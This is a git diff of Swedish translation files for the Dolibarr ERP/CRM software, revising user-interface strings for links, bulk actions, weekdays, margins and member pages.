-PDFMerge=PDF-dokument +PDFMerge=Sammanfoga PDF Merge=Sammanfoga DocumentModelStandardPDF=Standard PDF-mall -PrintContentArea=Visa sidan för att skriva ut huvudinnehållet -MenuManager=Menyhanteraren -WarningYouAreInMaintenanceMode=Varning, du är i underhållsläge: endast inloggning %s får använda programmet i det här läget. +PrintContentArea=Visa sidan för att skriva ut innehållsområdet +MenuManager=Menyhanterare +WarningYouAreInMaintenanceMode=Varning, du är i underhållsläge: endast inloggning %s får använda programmet i det här läget. CoreErrorTitle=Systemfel -CoreErrorMessage=Beklagar, ett fel uppstod. Kontakta systemadministratören för att kontrollera loggarna eller inaktivera $ dolibarr_main_prod = 1 för att få mer information. +CoreErrorMessage=Beklagar, men ett fel uppstod! Kontakta systemadministratören för att kontrollera loggarna eller inaktivera $dolibarr_main_prod=1 för att få mer information. CreditCard=Kreditkort ValidatePayment=Bekräfta betalning -CreditOrDebitCard=Kredit-eller betalkort +CreditOrDebitCard=Kredit- eller betalkort FieldsWithAreMandatory=Fält med %s är obligatoriska -FieldsWithIsForPublic=Fält med %s visas i den offentliga listan över medlemmar. Om du inte vill ha det här markerar du kryssrutan "public". +FieldsWithIsForPublic=Fält med %s visas i den offentliga listan över medlemmar. Om du inte vill ha det här markerar du kryssrutan "offentlig". AccordingToGeoIPDatabase=(enligt GeoIP-omvandling) -Line=Line +Line=Rad NotSupported=Stöds inte RequiredField=Obligatoriskt fält Result=Resultat ToTest=Test ValidateBefore=Objektet måste valideras innan du använder den här funktionen Visibility=Synlighet -Totalizable=Totalizable +Totalizable=Totaliserbar TotalizableDesc=Det här fältet kan totaliseras i listan Private=Privat -Hidden=Dolda +Hidden=Dold Resources=Resurser Source=Källa Prefix=Prefix @@ -796,40 +806,40 @@ After=Efter IPAddress=IP-adress Frequency=Frekvens IM=Snabbmeddelanden -NewAttribute=Nya attribut +NewAttribute=Nytt attribut AttributeCode=Attributkod -URLPhoto=URL foto / logo -SetLinkToAnotherThirdParty=Länk till en annan tredje part -LinkTo=Anknyta till -LinkToProposal=Länk till förslag -LinkToExpedition= Link to expedition -LinkToOrder=Länk för att beställa -LinkToInvoice=Länk till faktura -LinkToTemplateInvoice=Länk till mallfaktura -LinkToSupplierOrder=Länk till inköpsorder -LinkToSupplierProposal=Länk till leverantörsförslag -LinkToSupplierInvoice=Länk till leverantörsfaktura -LinkToContract=Länk till kontrakt -LinkToIntervention=Länk till intervention -LinkToTicket=Länk till biljett -LinkToMo=Link to Mo +URLPhoto=URL bild/logo +SetLinkToAnotherThirdParty=Länk till en annan tredjepart +LinkTo=Länka till +LinkToProposal=Länka till offert +LinkToExpedition= Länka till expedition +LinkToOrder=Länka till beställning +LinkToInvoice=Länka till faktura +LinkToTemplateInvoice=Länka till fakturamall +LinkToSupplierOrder=Länka till inköpsorder +LinkToSupplierProposal=Länka till leverantörsoffert +LinkToSupplierInvoice=Länka till leverantörsfaktura +LinkToContract=Länka till kontrakt +LinkToIntervention=Länka till intervention +LinkToTicket=Länka till ärendet +LinkToMo=Länka till Mo CreateDraft=Skapa utkast SetToDraft=Tillbaka till utkast ClickToEdit=Klicka för att redigera ClickToRefresh=Klicka för att uppdatera EditWithEditor=Redigera med CKEditor -EditWithTextEditor=Redigera med Textredigerare +EditWithTextEditor=Redigera med textredigerare EditHTMLSource=Redigera HTML-källa -ObjectDeleted=Objekt %s raderad -ByCountry=Per land -ByTown=Per stad -ByDate=Per datum -ByMonthYear=Per månad / år -ByYear=Per år -ByMonth=Per månad -ByDay=Per dag -BySalesRepresentative=Genom säljare -LinkedToSpecificUsers=Länkad till särskild användarekontakt +ObjectDeleted=Objektet %s raderat +ByCountry=Efter land +ByTown=Efter stad +ByDate=Efter datum +ByMonthYear=Efter månad/år +ByYear=Efter år +ByMonth=Efter månad +ByDay=Efter dag +BySalesRepresentative=Efter säljare +LinkedToSpecificUsers=Länkad till särskilt kontakt NoResults=Inga resultat AdminTools=Adminverktyg SystemTools=Systemverktyg @@ -837,124 +847,129 @@ ModulesSystemTools=Modulverktyg Test=Test Element=Element NoPhotoYet=Inga bilder tillgängliga -Dashboard=instrumentbräda -MyDashboard=Min instrumentpanel +Dashboard=Kontrollpanel +MyDashboard=Min kontrollpanel Deductible=Avdragsgill from=från toward=mot Access=Åtkomst SelectAction=Välj åtgärd -SelectTargetUser=Välj målanvändare / anställd -HelpCopyToClipboard=Använd Ctrl+C för att kopiera till klippbordet -SaveUploadedFileWithMask=Spara filen på servern med namnet "%s" (annars "%s") +SelectTargetUser=Välj målanvändare/anställd +HelpCopyToClipboard=Använd Ctrl+C för att kopiera till urklipp +SaveUploadedFileWithMask=Spara filen på servern med namnet %s (eller %s) OriginFileName=Ursprungligt filnamn -SetDemandReason=Ställ in källa -SetBankAccount=Definiera bankkonto +SetDemandReason=Ange källa +SetBankAccount=Ange bankkonto AccountCurrency=Kontovaluta -ViewPrivateNote=Se noter -XMoreLines=%s rader osynliga -ShowMoreLines=Visa fler / mindre rader +ViewPrivateNote=Se anteckningar +XMoreLines=%s rader dolda +ShowMoreLines=Visa fler/färre rader PublicUrl=Offentlig webbadress AddBox=Lägg till låda SelectElementAndClick=Välj ett element och klicka på %s PrintFile=Skriv ut fil %s ShowTransaction=Visa post på bankkonto -ShowIntervention=Visar ingripande +ShowIntervention=Visar intervention ShowContract=Visa kontrakt -GoIntoSetupToChangeLogo=Gå till Hem - Inställning - Företag för att byta logotyp eller gå till Hem - Inställning - Display för att dölja. -Deny=Förneka +GoIntoSetupToChangeLogo=Gå till Start - Inställningar - Företag för att byta logotyp eller gå till Start - Inställningar - Display för att dölja. +Deny=Neka Denied=Nekad ListOf=Lista över %s ListOfTemplates=Lista över mallar Gender=Kön -Genderman=Manlig +Genderman=Man Genderwoman=Kvinna -Genderother=Andra +Genderother=Annat ViewList=Visa lista -ViewGantt=Gantt-vy -ViewKanban=Kanban-vy +ViewGantt=Ganttvy +ViewKanban=Kanbanvy Mandatory=Obligatorisk -Hello=Hallå -GoodBye=Adjö -Sincerely=vänliga hälsningar +Hello=Hej +GoodBye=Hejdå +Sincerely=Vänliga hälsningar ConfirmDeleteObject=Är du säker på att du vill ta bort det här objektet? DeleteLine=Radera rad ConfirmDeleteLine=Är du säker på att du vill radera den här raden? -ErrorPDFTkOutputFileNotFound=Fel: filen genererades inte. Kontrollera att kommandot 'pdftk' är installerat i en katalog som ingår i miljövariabeln $ PATH (endast Linux / unix) eller kontakta systemadministratören. -NoPDFAvailableForDocGenAmongChecked=Ingen PDF var tillgänglig för dokumentgenerering bland kontrollerad post -TooManyRecordForMassAction=För många poster valda för massåtgärder. Åtgärden är begränsad till en lista över %s poster. +ErrorPDFTkOutputFileNotFound=Fel: filen genererades inte. Kontrollera att kommandot 'pdftk' är installerat i en katalog som ingår i miljövariabeln $PATH (endast linux/unix) eller kontakta systemadministratören. +NoPDFAvailableForDocGenAmongChecked=Ingen PDF var tillgänglig för dokumentgenerering bland kontrollerade poster +TooManyRecordForMassAction=För många poster valda för bulkåtgärder. Åtgärden är begränsad till en lista med %s poster. NoRecordSelected=Ingen post vald -MassFilesArea=Område för filer som byggts av massåtgärder -ShowTempMassFilesArea=Visa område med filer som byggts av massåtgärder -ConfirmMassDeletion=Bulk Ta bort bekräftelse -ConfirmMassDeletionQuestion=Är du säker på att du vill ta bort %s markerade poster? +MassFilesArea=Område för filer som skapats via bulkåtgärder +ShowTempMassFilesArea=Visa område med filer som skapats via bulkåtgärder +ConfirmMassDeletion=Bekräftelse för bulkradering +ConfirmMassDeletionQuestion=Är du säker på att du vill ta bort %s markerade post(er)? +ConfirmMassClone=Bekräftelse av kloning i bulk +ConfirmMassCloneQuestion=Välj projekt att klona till +ConfirmMassCloneToOneProject=Klona till projekt %s RelatedObjects=Relaterade objekt ClassifyBilled=Märk fakturerad ClassifyUnbilled=Märk ofakturerad Progress=Framsteg -ProgressShort=Progr. +ProgressShort=Framst. FrontOffice=Front office BackOffice=Back office -Submit=Skicka in -View=Se -Export=Export -Exports=Export +Submit=Skicka +View=Visa +Export=Exportera +Exports=Exporter ExportFilteredList=Exportera filtrerad lista -ExportList=Exportera listan -ExportOptions=Export Options +ExportList=Exportera lista +ExportOptions=Exportalternativ IncludeDocsAlreadyExported=Inkludera dokument som redan har exporterats -ExportOfPiecesAlreadyExportedIsEnable=Export av redan exporterade bitar är aktiverad -ExportOfPiecesAlreadyExportedIsDisable=Export av redan exporterade bitar är inaktiverad -AllExportedMovementsWereRecordedAsExported=Alla exporterade rörelser registrerades som exporterade -NotAllExportedMovementsCouldBeRecordedAsExported=Inte alla exporterade rörelser kunde registreras som exporterade +ExportOfPiecesAlreadyExportedIsEnable=Dokument som redan exporterats är synliga och kommer att exporteras +ExportOfPiecesAlreadyExportedIsDisable=Dokument som redan exporterats är dolda och kommer inte att exporteras +AllExportedMovementsWereRecordedAsExported=Alla exporterade förflyttningar har registrerats som exporterade +NotAllExportedMovementsCouldBeRecordedAsExported=Inte alla exporterade förflyttningar kunde registreras som exporterade Miscellaneous=Diverse Calendar=Kalender -GroupBy=Grupp av... -ViewFlatList=Visa plattlista +GroupBy=Gruppera efter... +GroupByX=Gruppera efter %s +ViewFlatList=Visa platt lista ViewAccountList=Visa huvudbok -ViewSubAccountList=Visa underkontokonto +ViewSubAccountList=Visa bok för underkonton RemoveString=Ta bort strängen '%s' -SomeTranslationAreUncomplete=Some of the languages offered may be only partially translated or may contain errors. Please help to correct your language by registering at https://transifex.com/projects/p/dolibarr/ to add your improvements. +SomeTranslationAreUncomplete=Vissa av de språk som erbjuds kan vara delvis översatta eller kan innehålla fel. Hjälp till att rätta ditt språk genom att registrera dig på https://transifex.com/projects/p/dolibarr/ för att lägga till förbättringar. DirectDownloadLink=Offentlig nedladdningslänk PublicDownloadLinkDesc=Endast länken krävs för att ladda ner filen DirectDownloadInternalLink=Privat nedladdningslänk PrivateDownloadLinkDesc=Du måste vara loggad och du behöver behörighet för att se eller ladda ner filen Download=Ladda ner DownloadDocument=Hämta dokument +DownloadSignedDocument=Hämta signerat dokument ActualizeCurrency=Uppdatera valutakurs -Fiscalyear=Räkenskapsåret +Fiscalyear=Räkenskapsår ModuleBuilder=Modul- och applikationsbyggare SetMultiCurrencyCode=Ange valuta -BulkActions=Massåtgärder +BulkActions=Bulkåtgärder ClickToShowHelp=Klicka för att visa verktygstipshjälp -WebSite=Hemsida -WebSites=webbplatser -WebSiteAccounts=Webbsida konton -ExpenseReport=Kostnads rapport -ExpenseReports=Räkningar +WebSite=Webbplats +WebSites=Webbplatser +WebSiteAccounts=Webbplatskonton +ExpenseReport=Kostnadsrapport +ExpenseReports=Kostnadsrapporter HR=HR -HRAndBank=HR och Bank +HRAndBank=HR och bank AutomaticallyCalculated=Automatiskt beräknad TitleSetToDraft=Gå tillbaka till utkast -ConfirmSetToDraft=Är du säker på att du vill gå tillbaka till formulärstatus? -ImportId=Importera id -Events=Evenemang -EMailTemplates=Email mallar -FileNotShared=Filen delas inte till extern allmänhet +ConfirmSetToDraft=Är du säker på att du vill gå tillbaka till utkaststatus? +ImportId=Importera ID +Events=Händelser +EMailTemplates=E-postmallar +FileNotShared=Filen delas inte externt Project=Projekt Projects=Projekt -LeadOrProject=Bly | Projekt -LeadsOrProjects=Leads | projekt -Lead=Leda -Leads=leads -ListOpenLeads=Lista öppna ledningar -ListOpenProjects=Lista öppna projekt -NewLeadOrProject=Ny ledning eller projekt -Rights=Behörigheter -LineNb=Linje nr. +LeadOrProject=Lead i projekt +LeadsOrProjects=Leads i projekt +Lead=Lead +Leads=Leads +ListOpenLeads=Öppna leads +ListOpenProjects=Öppna projekt +NewLeadOrProject=Ny lead eller projekt +Rights=Rättigheter +LineNb=Rad nr. IncotermLabel=Incoterms -TabLetteringCustomer=Kundbokstäver -TabLetteringSupplier=Leverantörs bokstäver +TabLetteringCustomer=Kundtext +TabLetteringSupplier=Leverantörstext Monday=Måndag Tuesday=Tisdag Wednesday=Onsdag @@ -962,13 +977,13 @@ Thursday=Torsdag Friday=Fredag Saturday=Lördag Sunday=Söndag -MondayMin=Mån. -TuesdayMin=Tisd. -WednesdayMin=Ons. -ThursdayMin=Tors. -FridayMin=Fre. -SaturdayMin=Lör. -SundayMin=Sön. +MondayMin=Mån +TuesdayMin=Tisd +WednesdayMin=Ons +ThursdayMin=Tors +FridayMin=Fre +SaturdayMin=Lör +SundayMin=Sön Day1=Måndag Day2=Tisdag Day3=Onsdag @@ -977,11 +992,11 @@ Day5=Fredag Day6=Lördag Day0=Söndag ShortMonday=M -ShortTuesday=T -ShortWednesday=W -ShortThursday=T +ShortTuesday=Ti +ShortWednesday=O +ShortThursday=To ShortFriday=F -ShortSaturday=S +ShortSaturday=L ShortSunday=S one=ett two=två @@ -1017,98 +1032,99 @@ billion=miljard trillion=biljon quadrillion=biljard SelectMailModel=Välj en e-postmall -SetRef=Set ref +SetRef=Ange ref Select2ResultFoundUseArrows=Några resultat hittades. Använd pilarna för att välja. -Select2NotFound=inga resultat -Select2Enter=Stiga på -Select2MoreCharacter=eller mer tecken +Select2NotFound=Inga resultat +Select2Enter=Enter +Select2MoreCharacter=eller fler tecken Select2MoreCharacters=eller fler tecken -Select2MoreCharactersMore=  Sök syntax:
      | ELLER (a | b)
      * Alla tecken (a * b)
      ^ Börja med (^ ab)
      $ Avsluta med ( ab $)
      +Select2MoreCharactersMore=Sök syntax:
      | ELLER(a|b)
      * Alla tecken (a*b)
      ^ Börja med (^ab)
      $ Avsluta med (ab$)
      Select2LoadingMoreResults=Laddar fler resultat ... -Select2SearchInProgress=Sök pågår ... -SearchIntoThirdparties=Tredje part +Select2SearchInProgress=Sökning pågår ... +SearchIntoThirdparties=Tredjepart SearchIntoContacts=Kontakter SearchIntoMembers=Medlemmar SearchIntoUsers=Användare SearchIntoProductsOrServices=Produkter eller tjänster -SearchIntoBatch=Massor / Serier +SearchIntoBatch=Batch/serier SearchIntoProjects=Projekt SearchIntoMO=Tillverkningsorder SearchIntoTasks=Uppgifter SearchIntoCustomerInvoices=Kundfakturor SearchIntoSupplierInvoices=Leverantörsfakturor SearchIntoCustomerOrders=Försäljningsorder -SearchIntoSupplierOrders=Beställning -SearchIntoCustomerProposals=Kommersiella förslag -SearchIntoSupplierProposals=Leverantörsförslag -SearchIntoInterventions=Insatser +SearchIntoSupplierOrders=Inköpsorder +SearchIntoCustomerProposals=Offerter +SearchIntoSupplierProposals=Leverantörsofferter +SearchIntoInterventions=Interventioner SearchIntoContracts=Kontrakt SearchIntoCustomerShipments=Kundförsändelser -SearchIntoExpenseReports=Räkningar -SearchIntoLeaves=Lämna -SearchIntoTickets=biljetter +SearchIntoExpenseReports=Utgiftsrapporter +SearchIntoLeaves=Ledighet +SearchIntoKM=Kunskapsbas +SearchIntoTickets=Ärenden SearchIntoCustomerPayments=Kundbetalningar SearchIntoVendorPayments=Leverantörsbetalningar SearchIntoMiscPayments=Diverse betalningar CommentLink=Kommentarer NbComments=Antal kommentarer -CommentPage=Kommentarer utrymme +CommentPage=Kommentarersutrymme CommentAdded=Kommentar tillagd CommentDeleted=Kommentar raderad Everybody=Alla PayedBy=Betalad av -PayedTo=Betalad för att -Monthly=En gång i månaden -Quarterly=Kvartals -Annual=Årlig +PayedTo=Betalad till +Monthly=Månatligen +Quarterly=Kvartalsvis +Annual=Årligen Local=Lokal -Remote=Avlägsen -LocalAndRemote=Lokal och fjärrkontroll +Remote=Fjärr +LocalAndRemote=Lokal- och fjärrkontroll KeyboardShortcut=Tangentbordsgenväg -AssignedTo=Påverkas i -Deletedraft=Ta bort utkast -ConfirmMassDraftDeletion=Utkast till massberegningsbekräftelse +AssignedTo=Tilldelad +Deletedraft=Radera utkast +ConfirmMassDraftDeletion=Bekräftelse bulkradering av utkast FileSharedViaALink=Fil delas med en offentlig länk -SelectAThirdPartyFirst=Välj en tredje part först ... -YouAreCurrentlyInSandboxMode=Du befinner dig för närvarande i %s "sandbox" -läget +SelectAThirdPartyFirst=Välj en tredjepart först ... +YouAreCurrentlyInSandboxMode=Du befinner dig för närvarande i %s "sandbox" -läge Inventory=Lager AnalyticCode=Analytisk kod TMenuMRP=MRP ShowCompanyInfos=Visa företagsinfo ShowMoreInfos=Visa mer info -NoFilesUploadedYet=Var god ladda upp ett dokument först -SeePrivateNote=Se privat notering +NoFilesUploadedYet=Ladda upp ett dokument först +SeePrivateNote=Se privat anteckning PaymentInformation=Betalningsinformation ValidFrom=Giltig från ValidUntil=Giltig till NoRecordedUsers=Inga användare -ToClose=För nära -ToRefuse=Att vägra -ToProcess=För att kunna behandla +ToClose=Att stänga +ToRefuse=Att nega +ToProcess=Att hantera ToApprove=Att godkänna GlobalOpenedElemView=Global vy -NoArticlesFoundForTheKeyword=Ingen artikel hittades för nyckelordet ' %s ' +NoArticlesFoundForTheKeyword=Ingen artikel hittades för nyckelordet %s NoArticlesFoundForTheCategory=Ingen artikel hittades för kategorin -ToAcceptRefuse=Att acceptera | vägra +ToAcceptRefuse=Att acceptera | neka ContactDefault_agenda=Händelse -ContactDefault_commande=Beställ +ContactDefault_commande=Beställning ContactDefault_contrat=Kontrakt ContactDefault_facture=Faktura -ContactDefault_fichinter=Insats +ContactDefault_fichinter=Intervention ContactDefault_invoice_supplier=Leverantörsfaktura ContactDefault_order_supplier=Inköpsorder ContactDefault_project=Projekt ContactDefault_project_task=Uppgift -ContactDefault_propal=Förslag -ContactDefault_supplier_proposal=Leverantörsförslag -ContactDefault_ticket=Biljett -ContactAddedAutomatically=Kontakt tillagd från roller från tredje part +ContactDefault_propal=Offert +ContactDefault_supplier_proposal=Leverantörsoffert +ContactDefault_ticket=Ärende +ContactAddedAutomatically=Kontakt tillagd från tredjeparts roller More=Mer ShowDetails=Visa detaljer CustomReports=Anpassade rapporter StatisticsOn=Statistik över SelectYourGraphOptionsFirst=Välj dina grafalternativ för att skapa ett diagram -Measures=Åtgärder +Measures=Mått XAxis=X-Axis YAxis=Y-axel StatusOfRefMustBe=Status för %s måste vara %s @@ -1117,16 +1133,17 @@ DeleteFileText=Vill du verkligen radera den här filen? ShowOtherLanguages=Visa andra språk SwitchInEditModeToAddTranslation=Växla i redigeringsläge för att lägga till översättningar för detta språk NotUsedForThisCustomer=Används inte för den här kunden +NotUsedForThisVendor=Används inte för denna leverantör AmountMustBePositive=Beloppet måste vara positivt ByStatus=Efter status InformationMessage=Information -Used=Begagnade +Used=Använt ASAP=Så snart som möjligt -CREATEInDolibarr=Spela in %s skapad -MODIFYInDolibarr=Spela in %s modifierad -DELETEInDolibarr=Spela in %s borttagen -VALIDATEInDolibarr=Spela in %s validerat -APPROVEDInDolibarr=Spela in %s godkänd +CREATEInDolibarr=Post %s skapad +MODIFYInDolibarr=Post %s ändrad +DELETEInDolibarr=Post %s raderad +VALIDATEInDolibarr=Post %s bekräftad +APPROVEDInDolibarr=Post %s godkänd DefaultMailModel=Standard e-postmodell PublicVendorName=Säljarens offentliga namn DateOfBirth=Födelsedatum @@ -1135,48 +1152,76 @@ UpToDate=Aktuell OutOfDate=Föråldrad EventReminder=Händelsepåminnelse UpdateForAllLines=Uppdatering för alla rader -OnHold=Placerad i kö -Civility=Hövlighet -AffectTag=Påverka taggen +OnHold=Pausad +Civility=Tilltal +AffectTag=Tilldela en tagg +AffectUser=Tilldela en användare +SetSupervisor=Ställ in handledaren CreateExternalUser=Skapa extern användare -ConfirmAffectTag=Bulk Tag påverkar -ConfirmAffectTagQuestion=Är du säker på att du vill påverka taggar till den %s valda post (er)? +ConfirmAffectTag=Tilldela tagg i bulk +ConfirmAffectUser=Tilldela användare i bulk +ProjectRole=Roll tilldelad på varje projekt/tillfälle +TasksRole=Roll tilldelad för varje uppgift (om sådan används) +ConfirmSetSupervisor=Ange överordnad i bulk +ConfirmUpdatePrice=Välj kurs för att öka/minska pris +ConfirmAffectTagQuestion=Är du säker på att du vill tilldela taggen till %s valda poster? +ConfirmAffectUserQuestion=Är du säker på att du vill tilldela användare till %s valda poster? +ConfirmSetSupervisorQuestion=Är du säker på att du vill ställa in överordnad för post(erna) %s? +ConfirmUpdatePriceQuestion=Är du säker på att du vill uppdatera priset för post(erna) %s? CategTypeNotFound=Ingen taggtyp hittades för typ av poster -CopiedToClipboard=Kopieras till Urklipp -InformationOnLinkToContract=Detta belopp är endast summan av alla rader i kontraktet. Ingen tidsbegrepp tas med i beräkningen. +Rate=Kurs +SupervisorNotFound=Överordnad hittades inte +CopiedToClipboard=Kopieras till urklipp +InformationOnLinkToContract=Detta belopp är endast summan av alla rader i kontraktet. Ingen tidsåtgång har tagits med i beräkningen. ConfirmCancel=Är du säker på att du vill avbryta -EmailMsgID=E-post meddelande-id -SetToEnabled=Ställ in till aktiverat -SetToDisabled=Ställ in till inaktiverad -ConfirmMassEnabling=mass möjliggör bekräftelse -ConfirmMassEnablingQuestion=Är du säker på att du vill aktivera %s vald(a) post(er)? -ConfirmMassDisabling=massavaktiverande bekräftelse -ConfirmMassDisablingQuestion=Är du säker på att du vill inaktivera den / de valda post (erna) %s? -RecordsEnabled=%s-post (ar) aktiverad -RecordsDisabled=%s post (ar) inaktiverad -RecordEnabled=Inspelning aktiverad -RecordDisabled=Posten inaktiverad -Forthcoming=Tillmötesgående -Currently=Currently -ConfirmMassLeaveApprovalQuestion=Are you sure you want to approve the %s selected record(s)? -ConfirmMassLeaveApproval=Mass leave approval confirmation -RecordAproved=Record approved -RecordsApproved=%s Record(s) approved -Properties=Properties -hasBeenValidated=%s has been validated -ClientTZ=Kund tidzon (användare) -NotClosedYet=Not yet closed -ClearSignature=Reset signature -CanceledHidden=Canceled hidden -CanceledShown=Canceled shown -Terminate=Terminate +EmailMsgID=E-postmeddelande ID +EmailDate=E-postdatum +SetToStatus=Ange status %s +SetToEnabled=Aktivera +SetToDisabled=Inaktivera +ConfirmMassEnabling=bulkaktivera bekräftelse +ConfirmMassEnablingQuestion=Är du säker på att du vill aktivera %s post(er)? +ConfirmMassDisabling=bulkinaktivera bekräftelse +ConfirmMassDisablingQuestion=Är du säker på att du vill inaktivera %s post(er)? +RecordsEnabled=Aktiverat %s post(er) +RecordsDisabled=Inaktiverat %s post(er) +RecordEnabled=Post aktiverad +RecordDisabled=Post inaktiverad +Forthcoming=Kommande +Currently=För närvarande +ConfirmMassLeaveApprovalQuestion=Är du säker på att du vill godkänna %s markerade objekt? +ConfirmMassLeaveApproval=Godkänn ledighetsansökan i bulk +RecordAproved=Post godkänd +RecordsApproved=%s post(er) godkända +Properties=Egenskaper +hasBeenValidated=%s har bekräftats +ClientTZ=Tidszon (användare) +NotClosedYet=Inte stängd ännu +ClearSignature=Återställ signatur +CanceledHidden=Ångra dolt +CanceledShown=Ångra visa +Terminate=Avsluta Terminated=Avslutad -AddLineOnPosition=Add line on position (at the end if empty) -ConfirmAllocateCommercial=Assign sales representative confirmation -ConfirmAllocateCommercialQuestion=Are you sure you want to assign the %s selected record(s)? -CommercialsAffected=Sales representatives affected -CommercialAffected=Sales representative affected -YourMessage=Your message -YourMessageHasBeenReceived=Your message has been received. We will answer or contact you as soon as possible. -UrlToCheck=Url to check -Automation=Automation +AddLineOnPosition=Lägg till rad vid position (i slutet om tomt) +ConfirmAllocateCommercial=Bekräfta att tilldela säljare +ConfirmAllocateCommercialQuestion=Är du säker att du vill tilldela %s markerade post(er)? +CommercialsAffected=Säljare tilldelade +CommercialAffected=Säljare tilldelad +YourMessage=Ditt meddelande +YourMessageHasBeenReceived=Ditt meddelande har tagits emot. Vi kommer återkomma till dig snarast möjligt. +UrlToCheck=Länk att kontrollera +Automation=Automatisering +CreatedByEmailCollector=Skapad via e-postinsamling +CreatedByPublicPortal=Skapad i portalen +UserAgent=Webbläsare +InternalUser=Intern användare +ExternalUser=Extern användare +NoSpecificContactAddress=Ingen specifik kontakt eller adress +NoSpecificContactAddressBis=Den här fliken är avsedd att tvinga fram specifika kontakter eller adresser för det aktuella objektet. Använd den endast om du vill definiera en eller flera specifika kontakter eller adresser för objektet när informationen om tredje part inte räcker till eller inte är korrekt. +HideOnVCard=Dölj %s +AddToContacts=Lägg till adress till mina kontakter +LastAccess=Senaste åtkomst +UploadAnImageToSeeAPhotoHere=Ladda upp en bild från fliken %s för att se ett foto här +LastPasswordChangeDate=Datum för senaste lösenordsändring +PublicVirtualCardUrl=Virtuell visitkortsida +TreeView=Trädvy diff --git a/htdocs/langs/sv_SE/margins.lang b/htdocs/langs/sv_SE/margins.lang index b7e3f3a8bc7..e056471bffe 100644 --- a/htdocs/langs/sv_SE/margins.lang +++ b/htdocs/langs/sv_SE/margins.lang @@ -2,44 +2,44 @@ Margin=Marginal Margins=Marginaler -TotalMargin=Summa marginal -MarginOnProducts=Marginal / Produkter -MarginOnServices=Marginal / Tjänster +TotalMargin=Total marginal +MarginOnProducts=Marginal/produkter +MarginOnServices=Marginal/tjänster MarginRate=Marginalsats -MarkRate=Markera sats +MarkRate=Marginalkurs DisplayMarginRates=Visa marginalsatser -DisplayMarkRates=Display markera hastigheter +DisplayMarkRates=Visa marginalkurser InputPrice=Inpris margin=Hantering av vinstmarginaler -margesSetup=Inställningar för vinstmarginalhantering +margesSetup=Inställning för hantering vinstmarginaler MarginDetails=Marginaldetaljer ProductMargins=Produktmarginaler CustomerMargins=Kundmarginaler -SalesRepresentativeMargins=Återförsäljares marginaler -ContactOfInvoice=Kontakt av faktura +SalesRepresentativeMargins=Säljares marginaler +ContactOfInvoice=Kontakt för faktura UserMargins=Användarmarginaler ProductService=Produkt eller tjänst AllProducts=Alla produkter och tjänster ChooseProduct/Service=Välj produkt eller tjänst -ForceBuyingPriceIfNull=Tvinga köp / kostpris till försäljningspris om det inte är definierat -ForceBuyingPriceIfNullDetails=If buying/cost price not provided when we add a new line, and this option is "ON", the margin will be 0%% on the new line (buying/cost price = selling price). If this option is "OFF" (recommended), margin will be equal to the value suggested by default (and may be 100%% if no default value can be found). +ForceBuyingPriceIfNull=Tvinga köp/kostpris till försäljningspris om det inte är angivet +ForceBuyingPriceIfNullDetails=Om köp/kostnadspris inte anges när vi lägger till en ny rad, och det här alternativet är "PÅ", kommer marginalen att vara 0%% på den nya raden (köp/kostnadspris = försäljningspris). Om det här alternativet är "AV" (rekommenderas), kommer marginalen att vara lika med värdet som föreslagits som standard (och kan vara 100%% om inget standardvärde kan hittas). MARGIN_METHODE_FOR_DISCOUNT=Marginalmetod för globala rabatter UseDiscountAsProduct=Som produkt UseDiscountAsService=Som tjänst UseDiscountOnTotal=På delsumma -MARGIN_METHODE_FOR_DISCOUNT_DETAILS=Definierar om en global rabatt behandlas som en produkt, en tjänst, eller bara på delsumman för beräkning marginal. -MARGIN_TYPE=Köp / Kostnadspris som föreslagits som standard för marginalberäkning -MargeType1=Marginal på Bästa leverantörspriset +MARGIN_METHODE_FOR_DISCOUNT_DETAILS=Anger om en global rabatt behandlas som en produkt, en tjänst, eller bara på delsumman för beräkning av marginal. +MARGIN_TYPE=Köp/kostpris som föreslagits som standard för marginalberäkning +MargeType1=Marginal på bästa leverantörspriset MargeType2=Marginal på vägt genomsnittligt pris (WAP) MargeType3=Marginal på kostpris -MarginTypeDesc=* Marginal på bästa köpkurs = Försäljningspris - Bästa försäljningspriset definierat på produktkort
      * Marginal på vägt genomsnittligt pris (WAP) = Försäljningspris - Produktviktat genomsnittspris (WAP) eller bäst försäljningspris om WAP ännu inte definierats
      * Marginal på kostnadskurs = Försäljningspris - Kostnadspris definierat på produktkort eller WAP om kostnadspris ej definierat eller bästa försäljningspris om WAP ännu inte definierats -CostPrice=Kostnadspris +MarginTypeDesc=* Marginal på bästa inköpspris = Försäljningspris - Bästa inköpspris angivet på produktkort
      * Marginal på vägt genomsnittligt pris (WAP) = Försäljningspris - Produktviktat genomsnittspris (WAP) eller bästa inköpspris om WAP ännu inte angivits * Marginal på kostnadskurs = Försäljningspris - Kostpris angivet på produktkort eller WAP om kostpris inte angivits eller bästa inköpspris om WAP ännu inte angivits +CostPrice=Kostpris UnitCharges=Enhetspris Charges=Avgifter -AgentContactType=Handelsagentens kontakttyp -AgentContactTypeDetails=Definiera vilken kontakttyp (länkad på fakturor) som ska användas för marginalrapport per kontakt / adress. Observera att läsning av statistik för en kontakt inte är tillförlitlig eftersom kontakten i de flesta fall kanske inte definieras uttryckligen på fakturorna. +AgentContactType=Agents kontakttyp +AgentContactTypeDetails=Ange vilken kontakttyp (länkad på fakturor) som ska användas för marginalrapport per kontakt/adress. Observera att läsning av statistik för en kontakt inte är tillförlitlig eftersom kontakten i de flesta fall kanske inte anges uttryckligen på fakturorna. rateMustBeNumeric=Betyg måste vara ett numeriskt värde -markRateShouldBeLesserThan100=Mark takt bör vara lägre än 100 +markRateShouldBeLesserThan100=Värdet bör vara lägre än 100 ShowMarginInfos=Visa marginal information CheckMargins=Marginaldetaljer MarginPerSaleRepresentativeWarning=Rapporten för marginal per användare använder länken mellan tredje part och försäljningsrepresentanter för att beräkna marginalen för varje försäljningsrepresentant. Eftersom vissa tredje parter kanske inte har någon dedikerad försäljningsrepresentant och vissa tredje parter kan kopplas till flera, kan vissa belopp inte inkluderas i denna rapport (om det inte finns någon försäljningsrepresentant) och vissa kan förekomma på olika sätt (för varje försäljningsrepresentant) . diff --git a/htdocs/langs/sv_SE/members.lang b/htdocs/langs/sv_SE/members.lang index 6e93513f819..6cf5c8947e7 100644 --- a/htdocs/langs/sv_SE/members.lang +++ b/htdocs/langs/sv_SE/members.lang @@ -1,13 +1,15 @@ # Dolibarr language file - Source file is en_US - members -MembersArea=Rum för medlemmar +MembersArea=Medlemsområde MemberCard=Medlemskort SubscriptionCard=Abonnemangskort Member=Medlem Members=Medlemmar +NoRecordedMembers=No recorded members +NoRecordedMembersByType=No recorded members ShowMember=Visa medlemskort 